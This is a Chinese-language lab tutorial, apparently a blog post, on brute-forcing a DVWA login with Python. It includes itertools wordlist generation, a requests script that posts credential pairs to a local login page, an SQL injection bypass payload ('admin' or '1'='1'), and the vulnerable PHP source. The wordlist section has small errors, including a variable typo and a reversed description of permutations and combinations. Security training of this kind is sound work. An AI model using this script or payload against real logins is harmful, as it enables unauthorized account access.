用python编写针对登陆的暴力破解程序
工作原理
首先这是一种针对用户名密码登陆的情况,用户输入用户名和密码,只要与服务器保存的信息相一致就可以获得对应的权限。
暴力破解的三种思路
通常用户名不会作为隐私,当获得用户名之后就可以使用暴力破解的方法(暴力破解即逐个尝试)
- 纯字典攻击:需要合适的字典文件;利用攻击工具将用户名和字典文件中的密码组合起来,依次尝试
- 混合攻击:需要字典;依靠一定的算法对字典文件中的单词进行处理之后再使用。一般的算法就是在一些单词前后添加常见的数字
- 完全暴力攻击:不需要字典;由攻击工具直接穷举出来,缺点时间长
生成字典文件
-
常见的字典文件的格式:
txt
ordic
-
生成字典文件的两个条件:
①指定字典文件中包含的词汇长度;
②制定的字典文件中包含的词汇所使用的字符。 -
python内置模块——itertools
- 无穷循环器函数
- count():产生递增的序列;
- cycle():重复序列中的元素;
- repeat():重复元素,构成无穷循环器;
- 无穷循环器的组合操作的函数
- product():获得多个无穷循环器的笛卡尔积;
- permutations(‘abcd’,2):从abcd中挑选两个元素,无顺序;
- combinations(‘abcd’,2):从abcd中挑选两个元素,有顺序;
- 无穷循环器函数
-
字典文件生成过程
-
导入itertools模块:
import itertools
-
指定生成字典文件的字符(这里以数字和字母为例)
word = "1234567890abcdefghijklmnopqrstuvwxyz"
-
使用itertools模块中提供的无穷循环器来生成字典(这里以permutations为例,生成六位密码)
temp = itertools.permutations(wors,6)
-
打开一个用于保存结果的记事本文件。
passwords = open("pas.txt","a")
a表示打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾;也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。更多参数点这里
-
使用一个循环将生成的密码写入记事本文件中
for i in temp: passwords.write("".join(i)) passwords.write("".join("\n"))
join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串。
-
完整程序
import itertools words = "1234567890abcdefghijklmnopqrstuvwxyz" temp = itertools.permutations(words,6) passwords = open("psw.txt","a") for i in temp: passwords.write("".join(i)) passwords.write("".join("\n"))
-
DVWA登陆的暴力破解程序
# 暴力破解程序
import requests
with open("admin.txt", 'r', encoding='utf-8') as names:
for username in names:
with open("password.txt", 'r', encoding='utf-8') as passwords:
for password in passwords:
url = "http://127.0.0.1/DVWA-master/login.php"
data = {
"username": username.strip(),
"password": password.strip(),
"Login": "Login"
}
print('\n')
print('用户名:', username.strip())
print('密码:', password.strip())
r = requests.post(url, data=data)
if 'Login failed' in r.text:
print('破解失败')
else:
print('破解成功')
strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
Brute Force(暴力破解)
先随便输入admin密码
输入username=admin,password=1,登陆失败
发现有三个get传参的变量,尝试一下一些简单的万能密码,最后猜测出payload为/?username=admin' or '1'='1 &password=1&Login=Login#
登陆成功
查看源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
题目信息提示Brute Force暴力破解,应该是要用到burpsuite的一些工具
由于这里是python专场,我们这里用python编写针对登陆的暴力破解程序